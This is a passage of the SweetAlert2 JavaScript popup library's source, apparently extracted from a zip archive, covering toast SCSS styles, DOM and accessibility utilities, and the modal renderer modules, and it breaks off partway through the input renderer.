      min-width: 2em;
      height: 2em;
      margin: 0;

      .swal2-icon-content {
        display: flex;
        align-items: center;
        font-size: 1.8em;
        font-weight: bold;

        @include ie {
          font-size: .25em;
        }
      }

      &.swal2-success {
        .swal2-success-ring {
          width: 2em;
          height: 2em;
        }
      }

      &.swal2-error {
        [class^='swal2-x-mark-line'] {
          top: .875em;
          width: 1.375em;

          &[class$='left'] {
            left: .3125em;
          }

          &[class$='right'] {
            right: .3125em;
          }
        }
      }
    }

    .swal2-actions {
      flex-basis: auto !important;
      width: auto;
      height: auto;
      margin: 0 .3125em;
      padding: 0;
    }

    .swal2-styled {
      margin: 0 .3125em;
      padding: .3125em .625em;
      font-size: $swal2-toast-buttons-font-size;

      &:focus {
        box-shadow: $swal2-toast-button-focus-box-shadow;
      }
    }

    .swal2-success {
      border-color: $swal2-success;

      [class^='swal2-success-circular-line'] { // Emulate moving circular line
        position: absolute;
        width: 1.6em;
        height: 3em;
        transform: rotate(45deg);
        border-radius: 50%;

        &[class$='left'] {
          top: -.8em;
          left: -.5em;
          transform: rotate(-45deg);
          transform-origin: 2em 2em;
          border-radius: 4em 0 0 4em;
        }

        &[class$='right'] {
          top: -.25em;
          left: .9375em;
          transform-origin: 0 1.5em;
          border-radius: 0 4em 4em 0;
        }
      }

      .swal2-success-ring {
        width: 2em;
        height: 2em;
      }

      .swal2-success-fix {
        top: 0;
        left: .4375em;
        width: .4375em;
        height: 2.6875em;
      }

      [class^='swal2-success-line'] {
        height: .3125em;

        &[class$='tip'] {
          top: 1.125em;
          left: .1875em;
          width: .75em;
        }

        &[class$='long'] {
          top: .9375em;
          right: .1875em;
          width: 1.375em;
        }
      }

      &.swal2-icon-show {
        @if $swal2-icon-animations {
          .swal2-success-line-tip {
            animation: swal2-toast-animate-success-line-tip .75s;
          }

          .swal2-success-line-long {
            animation: swal2-toast-animate-success-line-long .75s;
          }
        }
      }
    }

    &.swal2-show {
      animation: $swal2-toast-show-animation;
    }

    &.swal2-hide {
      animation: $swal2-toast-hide-animation;
    }
  }
}
PK"��\?�Hutils/scrollbarFix.jsnu�[���import * as dom from './dom/index.js'

export const fixScrollbar = () => {
  // for queues, do not do this more than once
  if (dom.states.previousBodyPadding !== null) {
    return
  }
  // if the body has overflow
  if (document.body.scrollHeight > window.innerHeight) {
    // add padding so the content doesn't shift after removal of scrollbar
    dom.states.previousBodyPadding = parseInt(window.getComputedStyle(document.body).getPropertyValue('padding-right'))
    document.body.style.paddingRight = `${dom.states.previousBodyPadding + dom.measureScrollbar()}px`
  }
}

export const undoScrollbar = () => {
  if (dom.states.previousBodyPadding !== null) {
    document.body.style.paddingRight = `${dom.states.previousBodyPadding}px`
    dom.states.previousBodyPadding = null
  }
}
PK"��\����utils/utils.jsnu�[���export const consolePrefix = 'SweetAlert2:'

/**
 * Filter the unique values into a new array
 * @param arr
 */
export const uniqueArray = (arr) => {
  const result = []
  for (let i = 0; i < arr.length; i++) {
    if (result.indexOf(arr[i]) === -1) {
      result.push(arr[i])
    }
  }
  return result
}

/**
 * Capitalize the first letter of a string
 * @param str
 */
export const capitalizeFirstLetter = (str) => str.charAt(0).toUpperCase() + str.slice(1)

/**
 * Returns the array of object values (Object.values isn't supported in IE11)
 * @param obj
 */
export const objectValues = (obj) => Object.keys(obj).map(key => obj[key])

/**
 * Convert NodeList to Array
 * @param nodeList
 */
export const toArray = (nodeList) => Array.prototype.slice.call(nodeList)

/**
 * Standardise console warnings
 * @param message
 */
export const warn = (message) => {
  console.warn(`${consolePrefix} ${message}`)
}

/**
 * Standardise console errors
 * @param message
 */
export const error = (message) => {
  console.error(`${consolePrefix} ${message}`)
}

/**
 * Private global state for `warnOnce`
 * @type {Array}
 * @private
 */
const previousWarnOnceMessages = []

/**
 * Show a console warning, but only if it hasn't already been shown
 * @param message
 */
export const warnOnce = (message) => {
  if (!previousWarnOnceMessages.includes(message)) {
    previousWarnOnceMessages.push(message)
    warn(message)
  }
}

/**
 * Show a one-time console warning about deprecated params/methods
 */
export const warnAboutDeprecation = (deprecatedParam, useInstead) => {
  warnOnce(`"${deprecatedParam}" is deprecated and will be removed in the next major release. Please use "${useInstead}" instead.`)
}

/**
 * If `arg` is a function, call it (with no arguments or context) and return the result.
 * Otherwise, just pass the value through
 * @param arg
 */
export const callIfFunction = (arg) => typeof arg === 'function' ? arg() : arg

export const hasToPromiseFn = (arg) => arg && typeof arg.toPromise === 'function'

export const asPromise = (arg) => hasToPromiseFn(arg) ? arg.toPromise() : Promise.resolve(arg)

export const isPromise = (arg) => arg && Promise.resolve(arg) === arg
PK"��\��	��utils/DismissReason.jsnu�[���export const DismissReason = Object.freeze({
  cancel: 'cancel',
  backdrop: 'backdrop',
  close: 'close',
  esc: 'esc',
  timer: 'timer'
})
PK"��\F3Z
utils/aria.jsnu�[���import { getContainer } from './dom/getters.js'
import { contains } from './dom/domUtils.js'
import { toArray } from './utils.js'

// From https://developer.paciellogroup.com/blog/2018/06/the-current-state-of-modal-dialog-accessibility/
// Adding aria-hidden="true" to elements outside of the active modal dialog ensures that
// elements not within the active modal dialog will not be surfaced if a user opens a screen
// reader’s list of elements (headings, form controls, landmarks, etc.) in the document.

export const setAriaHidden = () => {
  const bodyChildren = toArray(document.body.children)
  bodyChildren.forEach(el => {
    if (el === getContainer() || contains(el, getContainer())) {
      return
    }

    if (el.hasAttribute('aria-hidden')) {
      el.setAttribute('data-previous-aria-hidden', el.getAttribute('aria-hidden'))
    }
    el.setAttribute('aria-hidden', 'true')
  })
}

export const unsetAriaHidden = () => {
  const bodyChildren = toArray(document.body.children)
  bodyChildren.forEach(el => {
    if (el.hasAttribute('data-previous-aria-hidden')) {
      el.setAttribute('aria-hidden', el.getAttribute('data-previous-aria-hidden'))
      el.removeAttribute('data-previous-aria-hidden')
    } else {
      el.removeAttribute('aria-hidden')
    }
  })
}
PK"��\����__utils/dom/animationEndEvent.jsnu�[���import { isNodeEnv } from '../isNodeEnv.js'

export const animationEndEvent = (() => {
  // Prevent run in Node env
  /* istanbul ignore if */
  if (isNodeEnv()) {
    return false
  }

  const testEl = document.createElement('div')
  const transEndEventNames = {
    WebkitAnimation: 'webkitAnimationEnd',
    OAnimation: 'oAnimationEnd oanimationend',
    animation: 'animationend'
  }
  for (const i in transEndEventNames) {
    if (Object.prototype.hasOwnProperty.call(transEndEventNames, i) && typeof testEl.style[i] !== 'undefined') {
      return transEndEventNames[i]
    }
  }

  return false
})()
PK"��\JI����utils/dom/domUtils.jsnu�[���import { getTimerProgressBar } from './getters.js'
import { swalClasses, iconTypes } from '../classes.js'
import { toArray, objectValues, warn } from '../utils.js'

// Remember state in cases where opening and handling a modal will fiddle with it.
export const states = {
  previousBodyPadding: null
}

export const setInnerHtml = (elem, html) => { // #1926
  elem.textContent = ''
  if (html) {
    const parser = new DOMParser()
    const parsed = parser.parseFromString(html, `text/html`)
    toArray(parsed.querySelector('head').childNodes).forEach((child) => {
      elem.appendChild(child)
    })
    toArray(parsed.querySelector('body').childNodes).forEach((child) => {
      elem.appendChild(child)
    })
  }
}

export const hasClass = (elem, className) => {
  if (!className) {
    return false
  }
  const classList = className.split(/\s+/)
  for (let i = 0; i < classList.length; i++) {
    if (!elem.classList.contains(classList[i])) {
      return false
    }
  }
  return true
}

const removeCustomClasses = (elem, params) => {
  toArray(elem.classList).forEach(className => {
    if (
      !objectValues(swalClasses).includes(className) &&
      !objectValues(iconTypes).includes(className) &&
      !objectValues(params.showClass).includes(className)
    ) {
      elem.classList.remove(className)
    }
  })
}

export const applyCustomClass = (elem, params, className) => {
  removeCustomClasses(elem, params)

  if (params.customClass && params.customClass[className]) {
    if (typeof params.customClass[className] !== 'string' && !params.customClass[className].forEach) {
      return warn(`Invalid type of customClass.${className}! Expected string or iterable object, got "${typeof params.customClass[className]}"`)
    }

    addClass(elem, params.customClass[className])
  }
}

export function getInput (content, inputType) {
  if (!inputType) {
    return null
  }
  switch (inputType) {
    case 'select':
    case 'textarea':
    case 'file':
      return getChildByClass(content, swalClasses[inputType])
    case 'checkbox':
      return content.querySelector(`.${swalClasses.checkbox} input`)
    case 'radio':
      return content.querySelector(`.${swalClasses.radio} input:checked`) ||
        content.querySelector(`.${swalClasses.radio} input:first-child`)
    case 'range':
      return content.querySelector(`.${swalClasses.range} input`)
    default:
      return getChildByClass(content, swalClasses.input)
  }
}

export const focusInput = (input) => {
  input.focus()

  // place cursor at end of text in text input
  if (input.type !== 'file') {
    // http://stackoverflow.com/a/2345915
    const val = input.value
    input.value = ''
    input.value = val
  }
}

export const toggleClass = (target, classList, condition) => {
  if (!target || !classList) {
    return
  }
  if (typeof classList === 'string') {
    classList = classList.split(/\s+/).filter(Boolean)
  }
  classList.forEach((className) => {
    if (target.forEach) {
      target.forEach((elem) => {
        condition ? elem.classList.add(className) : elem.classList.remove(className)
      })
    } else {
      condition ? target.classList.add(className) : target.classList.remove(className)
    }
  })
}

export const addClass = (target, classList) => {
  toggleClass(target, classList, true)
}

export const removeClass = (target, classList) => {
  toggleClass(target, classList, false)
}

export const getChildByClass = (elem, className) => {
  for (let i = 0; i < elem.childNodes.length; i++) {
    if (hasClass(elem.childNodes[i], className)) {
      return elem.childNodes[i]
    }
  }
}

export const applyNumericalStyle = (elem, property, value) => {
  if (value || parseInt(value) === 0) {
    elem.style[property] = (typeof value === 'number') ? `${value}px` : value
  } else {
    elem.style.removeProperty(property)
  }
}

export const show = (elem, display = 'flex') => {
  elem.style.display = display
}

export const hide = (elem) => {
  elem.style.display = 'none'
}

export const setStyle = (parent, selector, property, value) => {
  const el = parent.querySelector(selector)
  if (el) {
    el.style[property] = value
  }
}

export const toggle = (elem, condition, display) => {
  condition ? show(elem, display) : hide(elem)
}

// borrowed from jquery $(elem).is(':visible') implementation
export const isVisible = (elem) => !!(elem && (elem.offsetWidth || elem.offsetHeight || elem.getClientRects().length))

/* istanbul ignore next */
export const isScrollable = (elem) => !!(elem.scrollHeight > elem.clientHeight)

// borrowed from https://stackoverflow.com/a/46352119
export const hasCssAnimation = (elem) => {
  const style = window.getComputedStyle(elem)

  const animDuration = parseFloat(style.getPropertyValue('animation-duration') || '0')
  const transDuration = parseFloat(style.getPropertyValue('transition-duration') || '0')

  return animDuration > 0 || transDuration > 0
}

export const contains = (haystack, needle) => {
  if (typeof haystack.contains === 'function') {
    return haystack.contains(needle)
  }
}

export const animateTimerProgressBar = (timer, reset = false) => {
  const timerProgressBar = getTimerProgressBar()
  if (isVisible(timerProgressBar)) {
    if (reset) {
      timerProgressBar.style.transition = 'none'
      timerProgressBar.style.width = '100%'
    }
    setTimeout(() => {
      timerProgressBar.style.transition = `width ${timer / 1000}s linear`
      timerProgressBar.style.width = '0%'
    }, 10)
  }
}

export const stopTimerProgressBar = () => {
  const timerProgressBar = getTimerProgressBar()
  const timerProgressBarWidth = parseInt(window.getComputedStyle(timerProgressBar).width)
  timerProgressBar.style.removeProperty('transition')
  timerProgressBar.style.width = '100%'
  const timerProgressBarFullWidth = parseInt(window.getComputedStyle(timerProgressBar).width)
  const timerProgressBarPercent = parseInt(timerProgressBarWidth / timerProgressBarFullWidth * 100)
  timerProgressBar.style.removeProperty('transition')
  timerProgressBar.style.width = `${timerProgressBarPercent}%`
}
PK"��\Sݙ�utils/dom/measureScrollbar.jsnu�[���import { swalClasses } from '../classes.js'

// Measure scrollbar width for padding body during modal show/hide
// https://github.com/twbs/bootstrap/blob/master/js/src/modal.js
export const measureScrollbar = () => {
  const scrollDiv = document.createElement('div')
  scrollDiv.className = swalClasses['scrollbar-measure']
  document.body.appendChild(scrollDiv)
  const scrollbarWidth = scrollDiv.getBoundingClientRect().width - scrollDiv.clientWidth
  document.body.removeChild(scrollDiv)
  return scrollbarWidth
}
PK"��\`#p���utils/dom/inputUtils.jsnu�[���import * as dom from './index.js'
import { swalClasses } from '../classes.js'
import { getChildByClass } from './domUtils.js'
import { asPromise, error, hasToPromiseFn, isPromise } from '../utils.js'
import { showLoading } from '../../staticMethods/showLoading.js'

export const handleInputOptionsAndValue = (instance, params) => {
  if (params.input === 'select' || params.input === 'radio') {
    handleInputOptions(instance, params)
  } else if (['text', 'email', 'number', 'tel', 'textarea'].includes(params.input) &&
    (hasToPromiseFn(params.inputValue) || isPromise(params.inputValue))) {
    handleInputValue(instance, params)
  }
}

export const getInputValue = (instance, innerParams) => {
  const input = instance.getInput()
  if (!input) {
    return null
  }
  switch (innerParams.input) {
    case 'checkbox':
      return getCheckboxValue(input)
    case 'radio':
      return getRadioValue(input)
    case 'file':
      return getFileValue(input)
    default:
      return innerParams.inputAutoTrim ? input.value.trim() : input.value
  }
}

const getCheckboxValue = (input) => input.checked ? 1 : 0

const getRadioValue = (input) => input.checked ? input.value : null

const getFileValue = (input) => input.files.length ? (input.getAttribute('multiple') !== null ? input.files : input.files[0]) : null

const handleInputOptions = (instance, params) => {
  const content = dom.getContent()
  const processInputOptions = (inputOptions) => populateInputOptions[params.input](content, formatInputOptions(inputOptions), params)
  if (hasToPromiseFn(params.inputOptions) || isPromise(params.inputOptions)) {
    showLoading()
    asPromise(params.inputOptions).then((inputOptions) => {
      instance.hideLoading()
      processInputOptions(inputOptions)
    })
  } else if (typeof params.inputOptions === 'object') {
    processInputOptions(params.inputOptions)
  } else {
    error(`Unexpected type of inputOptions! Expected object, Map or Promise, got ${typeof params.inputOptions}`)
  }
}

const handleInputValue = (instance, params) => {
  const input = instance.getInput()
  dom.hide(input)
  asPromise(params.inputValue).then((inputValue) => {
    input.value = params.input === 'number' ? parseFloat(inputValue) || 0 : `${inputValue}`
    dom.show(input)
    input.focus()
    instance.hideLoading()
  })
    .catch((err) => {
      error(`Error in inputValue promise: ${err}`)
      input.value = ''
      dom.show(input)
      input.focus()
      instance.hideLoading()
    })
}

const populateInputOptions = {
  select: (content, inputOptions, params) => {
    const select = getChildByClass(content, swalClasses.select)
    const renderOption = (parent, optionLabel, optionValue) => {
      const option = document.createElement('option')
      option.value = optionValue
      dom.setInnerHtml(option, optionLabel)
      if (params.inputValue.toString() === optionValue.toString()) {
        option.selected = true
      }
      parent.appendChild(option)
    }
    inputOptions.forEach(inputOption => {
      const optionValue = inputOption[0]
      const optionLabel = inputOption[1]
      // <optgroup> spec:
      // https://www.w3.org/TR/html401/interact/forms.html#h-17.6
      // "...all OPTGROUP elements must be specified directly within a SELECT element (i.e., groups may not be nested)..."
      // check whether this is a <optgroup>
      if (Array.isArray(optionLabel)) { // if it is an array, then it is an <optgroup>
        const optgroup = document.createElement('optgroup')
        optgroup.label = optionValue
        optgroup.disabled = false // not configurable for now
        select.appendChild(optgroup)
        optionLabel.forEach(o => renderOption(optgroup, o[1], o[0]))
      } else { // case of <option>
        renderOption(select, optionLabel, optionValue)
      }
    })
    select.focus()
  },

  radio: (content, inputOptions, params) => {
    const radio = getChildByClass(content, swalClasses.radio)
    inputOptions.forEach(inputOption => {
      const radioValue = inputOption[0]
      const radioLabel = inputOption[1]
      const radioInput = document.createElement('input')
      const radioLabelElement = document.createElement('label')
      radioInput.type = 'radio'
      radioInput.name = swalClasses.radio
      radioInput.value = radioValue
      if (params.inputValue.toString() === radioValue.toString()) {
        radioInput.checked = true
      }
      const label = document.createElement('span')
      dom.setInnerHtml(label, radioLabel)
      label.className = swalClasses.label
      radioLabelElement.appendChild(radioInput)
      radioLabelElement.appendChild(label)
      radio.appendChild(radioLabelElement)
    })
    const radios = radio.querySelectorAll('input')
    if (radios.length) {
      radios[0].focus()
    }
  }
}

/**
 * Converts `inputOptions` into an array of `[value, label]`s
 * @param inputOptions
 */
const formatInputOptions = (inputOptions) => {
  const result = []
  if (typeof Map !== 'undefined' && inputOptions instanceof Map) {
    inputOptions.forEach((value, key) => {
      let valueFormatted = value
      if (typeof valueFormatted === 'object') { // case of <optgroup>
        valueFormatted = formatInputOptions(valueFormatted)
      }
      result.push([key, valueFormatted])
    })
  } else {
    Object.keys(inputOptions).forEach(key => {
      let valueFormatted = inputOptions[key]
      if (typeof valueFormatted === 'object') { // case of <optgroup>
        valueFormatted = formatInputOptions(valueFormatted)
      }
      result.push([key, valueFormatted])
    })
  }
  return result
}
PK"��\�
�.��utils/dom/index.jsnu�[���export * from './domUtils.js'
export * from './init.js'
export * from './getters.js'
export * from './parseHtmlToContainer.js'
export * from './animationEndEvent.js'
export * from './measureScrollbar.js'
export * from './renderers/render.js'
PK"��\D��V��*utils/dom/renderers/renderProgressSteps.jsnu�[���import { swalClasses } from '../../classes.js'
import { warn } from '../../utils.js'
import * as dom from '../../dom/index.js'
import { getQueueStep } from '../../../staticMethods/queue.js'

const createStepElement = (step) => {
  const stepEl = document.createElement('li')
  dom.addClass(stepEl, swalClasses['progress-step'])
  dom.setInnerHtml(stepEl, step)
  return stepEl
}

const createLineElement = (params) => {
  const lineEl = document.createElement('li')
  dom.addClass(lineEl, swalClasses['progress-step-line'])
  if (params.progressStepsDistance) {
    lineEl.style.width = params.progressStepsDistance
  }
  return lineEl
}

export const renderProgressSteps = (instance, params) => {
  const progressStepsContainer = dom.getProgressSteps()
  if (!params.progressSteps || params.progressSteps.length === 0) {
    return dom.hide(progressStepsContainer)
  }

  dom.show(progressStepsContainer)
  progressStepsContainer.textContent = ''
  const currentProgressStep = parseInt(params.currentProgressStep === undefined ? getQueueStep() : params.currentProgressStep)
  if (currentProgressStep >= params.progressSteps.length) {
    warn(
      'Invalid currentProgressStep parameter, it should be less than progressSteps.length ' +
      '(currentProgressStep like JS arrays starts from 0)'
    )
  }

  params.progressSteps.forEach((step, index) => {
    const stepEl = createStepElement(step)
    progressStepsContainer.appendChild(stepEl)
    if (index === currentProgressStep) {
      dom.addClass(stepEl, swalClasses['active-progress-step'])
    }

    if (index !== params.progressSteps.length - 1) {
      const lineEl = createLineElement(params)
      progressStepsContainer.appendChild(lineEl)
    }
  })
}
PK"��\�3؊

!utils/dom/renderers/renderIcon.jsnu�[���import { swalClasses, iconTypes } from '../../classes.js'
import { error } from '../../utils.js'
import * as dom from '../../dom/index.js'
import privateProps from '../../../privateProps.js'

export const renderIcon = (instance, params) => {
  const innerParams = privateProps.innerParams.get(instance)

  // if the given icon already rendered, apply the styling without re-rendering the icon
  if (innerParams && params.icon === innerParams.icon && dom.getIcon()) {
    applyStyles(dom.getIcon(), params)
    return
  }

  hideAllIcons()

  if (!params.icon) {
    return
  }

  if (Object.keys(iconTypes).indexOf(params.icon) !== -1) {
    const icon = dom.elementBySelector(`.${swalClasses.icon}.${iconTypes[params.icon]}`)
    dom.show(icon)

    // Custom or default content
    setContent(icon, params)

    applyStyles(icon, params)

    // Animate icon
    dom.addClass(icon, params.showClass.icon)
  } else {
    error(`Unknown icon! Expected "success", "error", "warning", "info" or "question", got "${params.icon}"`)
  }
}

const hideAllIcons = () => {
  const icons = dom.getIcons()
  for (let i = 0; i < icons.length; i++) {
    dom.hide(icons[i])
  }
}

const applyStyles = (icon, params) => {
  // Icon color
  setColor(icon, params)

  // Success icon background color
  adjustSuccessIconBackgoundColor()

  // Custom class
  dom.applyCustomClass(icon, params, 'icon')
}

// Adjust success icon background color to match the popup background color
const adjustSuccessIconBackgoundColor = () => {
  const popup = dom.getPopup()
  const popupBackgroundColor = window.getComputedStyle(popup).getPropertyValue('background-color')
  const successIconParts = popup.querySelectorAll('[class^=swal2-success-circular-line], .swal2-success-fix')
  for (let i = 0; i < successIconParts.length; i++) {
    successIconParts[i].style.backgroundColor = popupBackgroundColor
  }
}

const setContent = (icon, params) => {
  icon.textContent = ''

  if (params.iconHtml) {
    dom.setInnerHtml(icon, iconContent(params.iconHtml))
  } else if (params.icon === 'success') {
    dom.setInnerHtml(icon, `
      <div class="swal2-success-circular-line-left"></div>
      <span class="swal2-success-line-tip"></span> <span class="swal2-success-line-long"></span>
      <div class="swal2-success-ring"></div> <div class="swal2-success-fix"></div>
      <div class="swal2-success-circular-line-right"></div>
    `)
  } else if (params.icon === 'error') {
    dom.setInnerHtml(icon, `
      <span class="swal2-x-mark">
        <span class="swal2-x-mark-line-left"></span>
        <span class="swal2-x-mark-line-right"></span>
      </span>
    `)
  } else {
    const defaultIconHtml = {
      question: '?',
      warning: '!',
      info: 'i'
    }
    dom.setInnerHtml(icon, iconContent(defaultIconHtml[params.icon]))
  }
}

const setColor = (icon, params) => {
  if (!params.iconColor) {
    return
  }
  icon.style.color = params.iconColor
  icon.style.borderColor = params.iconColor
  for (const sel of ['.swal2-success-line-tip', '.swal2-success-line-long', '.swal2-x-mark-line-left', '.swal2-x-mark-line-right']) {
    dom.setStyle(icon, sel, 'backgroundColor', params.iconColor)
  }
  dom.setStyle(icon, '.swal2-success-ring', 'borderColor', params.iconColor)
}

const iconContent = (content) => `<div class="${swalClasses['icon-content']}">${content}</div>`
PK"��\�P��rr"utils/dom/renderers/renderPopup.jsnu�[���import { swalClasses } from '../../classes.js'
import * as dom from '../../dom/index.js'

export const renderPopup = (instance, params) => {
  const popup = dom.getPopup()

  // Width
  dom.applyNumericalStyle(popup, 'width', params.width)

  // Padding
  dom.applyNumericalStyle(popup, 'padding', params.padding)

  // Background
  if (params.background) {
    popup.style.background = params.background
  }

  // Classes
  addClasses(popup, params)
}

const addClasses = (popup, params) => {
  // Default Class + showClass when updating Swal.update({})
  popup.className = `${swalClasses.popup} ${dom.isVisible(popup) ? params.showClass.popup : ''}`

  if (params.toast) {
    dom.addClass([document.documentElement, document.body], swalClasses['toast-shown'])
    dom.addClass(popup, swalClasses.toast)
  } else {
    dom.addClass(popup, swalClasses.modal)
  }

  // Custom class
  dom.applyCustomClass(popup, params, 'popup')
  if (typeof params.customClass === 'string') {
    dom.addClass(popup, params.customClass)
  }

  // Icon class (#1842)
  if (params.icon) {
    dom.addClass(popup, swalClasses[`icon-${params.icon}`])
  }
}
PK"��\���
��(utils/dom/renderers/renderCloseButton.jsnu�[���import * as dom from '../../dom/index.js'

export const renderCloseButton = (instance, params) => {
  const closeButton = dom.getCloseButton()

  dom.setInnerHtml(closeButton, params.closeButtonHtml)

  // Custom class
  dom.applyCustomClass(closeButton, params, 'closeButton')

  dom.toggle(closeButton, params.showCloseButton)
  closeButton.setAttribute('aria-label', params.closeButtonAriaLabel)
}
PK"��\�د��$utils/dom/renderers/renderContent.jsnu�[���import { swalClasses } from '../../classes.js'
import * as dom from '../../dom/index.js'
import { renderInput } from './renderInput.js'

export const renderContent = (instance, params) => {
  const content = dom.getContent().querySelector(`#${swalClasses.content}`)

  // Content as HTML
  if (params.html) {
    dom.parseHtmlToContainer(params.html, content)
    dom.show(content, 'block')

  // Content as plain text
  } else if (params.text) {
    content.textContent = params.text
    dom.show(content, 'block')

  // No content
  } else {
    dom.hide(content)
  }

  renderInput(instance, params)

  // Custom class
  dom.applyCustomClass(dom.getContent(), params, 'content')
}
PK"��\4m��ww&utils/dom/renderers/renderContainer.jsnu�[���import { swalClasses } from '../../classes.js'
import { warn } from '../../utils.js'
import * as dom from '../../dom/index.js'

function handleBackdropParam (container, backdrop) {
  if (typeof backdrop === 'string') {
    container.style.background = backdrop
  } else if (!backdrop) {
    dom.addClass([document.documentElement, document.body], swalClasses['no-backdrop'])
  }
}

function handlePositionParam (container, position) {
  if (position in swalClasses) {
    dom.addClass(container, swalClasses[position])
  } else {
    warn('The "position" parameter is not valid, defaulting to "center"')
    dom.addClass(container, swalClasses.center)
  }
}

function handleGrowParam (container, grow) {
  if (grow && typeof grow === 'string') {
    const growClass = `grow-${grow}`
    if (growClass in swalClasses) {
      dom.addClass(container, swalClasses[growClass])
    }
  }
}

export const renderContainer = (instance, params) => {
  const container = dom.getContainer()

  if (!container) {
    return
  }

  handleBackdropParam(container, params.backdrop)

  if (!params.backdrop && params.allowOutsideClick) {
    warn('"allowOutsideClick" parameter requires `backdrop` parameter to be set to `true`')
  }

  handlePositionParam(container, params.position)
  handleGrowParam(container, params.grow)

  // Custom class
  dom.applyCustomClass(container, params, 'container')

  // Set queue step attribute for getQueueStep() method
  const queueStep = document.body.getAttribute('data-swal2-queue-step')
  if (queueStep) {
    container.setAttribute('data-queue-step', queueStep)
    document.body.removeAttribute('data-swal2-queue-step')
  }
}
PK"��\?�<;;#utils/dom/renderers/renderFooter.jsnu�[���import * as dom from '../../dom/index.js'

export const renderFooter = (instance, params) => {
  const footer = dom.getFooter()

  dom.toggle(footer, params.footer)

  if (params.footer) {
    dom.parseHtmlToContainer(params.footer, footer)
  }

  // Custom class
  dom.applyCustomClass(footer, params, 'footer')
}
PK"��\^v/

$utils/dom/renderers/renderActions.jsnu�[���import { swalClasses } from '../../classes.js'
import * as dom from '../../dom/index.js'
import { capitalizeFirstLetter } from '../../utils.js'
import { isLoading } from '../getters.js'

export const renderActions = (instance, params) => {
  const actions = dom.getActions()
  const loader = dom.getLoader()
  const confirmButton = dom.getConfirmButton()
  const denyButton = dom.getDenyButton()
  const cancelButton = dom.getCancelButton()

  // Actions (buttons) wrapper
  if (!params.showConfirmButton && !params.showDenyButton && !params.showCancelButton) {
    dom.hide(actions)
  }

  // Custom class
  dom.applyCustomClass(actions, params, 'actions')

  // Render buttons
  renderButton(confirmButton, 'confirm', params)
  renderButton(denyButton, 'deny', params)
  renderButton(cancelButton, 'cancel', params)

  // Loader
  loader.innerHTML = params.loaderHtml

  if (params.buttonsStyling) {
    handleButtonsStyling(confirmButton, denyButton, cancelButton, params)
  } else {
    dom.removeClass([confirmButton, denyButton, cancelButton], swalClasses.styled)
  }

  if (params.reverseButtons) {
    actions.insertBefore(cancelButton, loader)
    actions.insertBefore(denyButton, loader)
    actions.insertBefore(confirmButton, loader)
  }
}

function handleButtonsStyling (confirmButton, denyButton, cancelButton, params) {
  dom.addClass([confirmButton, denyButton, cancelButton], swalClasses.styled)

  // Buttons background colors
  if (params.confirmButtonColor) {
    confirmButton.style.backgroundColor = params.confirmButtonColor
  }
  if (params.denyButtonColor) {
    denyButton.style.backgroundColor = params.denyButtonColor
  }
  if (params.cancelButtonColor) {
    cancelButton.style.backgroundColor = params.cancelButtonColor
  }

  // Loading state
  if (!isLoading()) {
    const confirmButtonBackgroundColor = window.getComputedStyle(confirmButton).getPropertyValue('background-color')
    confirmButton.style.borderLeftColor = confirmButtonBackgroundColor
    confirmButton.style.borderRightColor = confirmButtonBackgroundColor
  }
}

function renderButton (button, buttonType, params) {
  dom.toggle(button, params[`show${capitalizeFirstLetter(buttonType)}Button`], 'inline-block')
  dom.setInnerHtml(button, params[`${buttonType}ButtonText`]) // Set caption text
  button.setAttribute('aria-label', params[`${buttonType}ButtonAriaLabel`]) // ARIA label

  // Add buttons custom classes
  button.className = swalClasses[buttonType]
  dom.applyCustomClass(button, params, `${buttonType}Button`)
  dom.addClass(button, params[`${buttonType}ButtonClass`])
}
PK"��\Z����#utils/dom/renderers/renderHeader.jsnu�[���import * as dom from '../../dom/index.js'
import { renderCloseButton } from './renderCloseButton.js'
import { renderIcon } from './renderIcon.js'
import { renderImage } from './renderImage.js'
import { renderProgressSteps } from './renderProgressSteps.js'
import { renderTitle } from './renderTitle.js'

export const renderHeader = (instance, params) => {
  const header = dom.getHeader()

  // Custom class
  dom.applyCustomClass(header, params, 'header')

  // Progress steps
  renderProgressSteps(instance, params)

  // Icon
  renderIcon(instance, params)

  // Image
  renderImage(instance, params)

  // Title
  renderTitle(instance, params)

  // Close button
  renderCloseButton(instance, params)
}
PK"��\��YY"utils/dom/renderers/renderImage.jsnu�[���import { swalClasses } from '../../classes.js'
import * as dom from '../../dom/index.js'

export const renderImage = (instance, params) => {
  const image = dom.getImage()

  if (!params.imageUrl) {
    return dom.hide(image)
  }

  dom.show(image, '')

  // Src, alt
  image.setAttribute('src', params.imageUrl)
  image.setAttribute('alt', params.imageAlt)

  // Width, height
  dom.applyNumericalStyle(image, 'width', params.imageWidth)
  dom.applyNumericalStyle(image, 'height', params.imageHeight)

  // Class
  image.className = swalClasses.image
  dom.applyCustomClass(image, params, 'image')
}
PK"��\-�)��"utils/dom/renderers/renderTitle.jsnu�[���import * as dom from '../../dom/index.js'

export const renderTitle = (instance, params) => {
  const title = dom.getTitle()

  dom.toggle(title, params.title || params.titleText)

  if (params.title) {
    dom.parseHtmlToContainer(params.title, title)
  }

  if (params.titleText) {
    title.innerText = params.titleText
  }

  // Custom class
  dom.applyCustomClass(title, params, 'title')
}
PK"��\K�W>utils/dom/renderers/render.jsnu�[���import { getPopup } from '../getters.js'
import { renderActions } from './renderActions.js'
import { renderContainer } from './renderContainer.js'
import { renderContent } from './renderContent.js'
import { renderFooter } from './renderFooter.js'
import { renderHeader } from './renderHeader.js'
import { renderPopup } from './renderPopup.js'

export const render = (instance, params) => {
  renderPopup(instance, params)
  renderContainer(instance, params)

  renderHeader(instance, params)
  renderContent(instance, params)
  renderActions(instance, params)
  renderFooter(instance, params)

  if (typeof params.didRender === 'function') {
    params.didRender(getPopup())
  } else if (typeof params.onRender === 'function') {
    params.onRender(getPopup()) // @deprecated
  }
}
PK"��\g�	d��"utils/dom/renderers/renderInput.jsnu�[���import { swalClasses } from '../../classes.js'
import { warn, error, isPromise } from '../../utils.js'
import * as dom from '../../dom/index.js'
import privateProps from '../../../privateProps.js'

const inputTypes = ['input', 'file', 'range', 'select', 'radio', 'checkbox', 'textarea']

export const renderInput = (instance, params) => {
  const content = dom.getContent()
  const innerParams = privateProps.innerParams.get(instance)
  const rerender = !innerParams || params.input !== innerParams.input

  inputTypes.forEach((inputType) => {
    const inputClass = swalClasses[inputType]
    const inputContainer = dom.getChildByClass(content, inputClass)

    // set attributes
    setAttributes(inputType, params.inputAttributes)

    // set class
    inputContainer.className = inputClass

    if (rerender) {
      dom.hide(inputContainer)
    }
  })

  if (params.input) {
    if (rerender) {
      showInput(params)
    }
    // set custom class
    setCustomClass(params)
  }
}

const showInput = (params) => {
  if (!renderInputType[params.input]) {
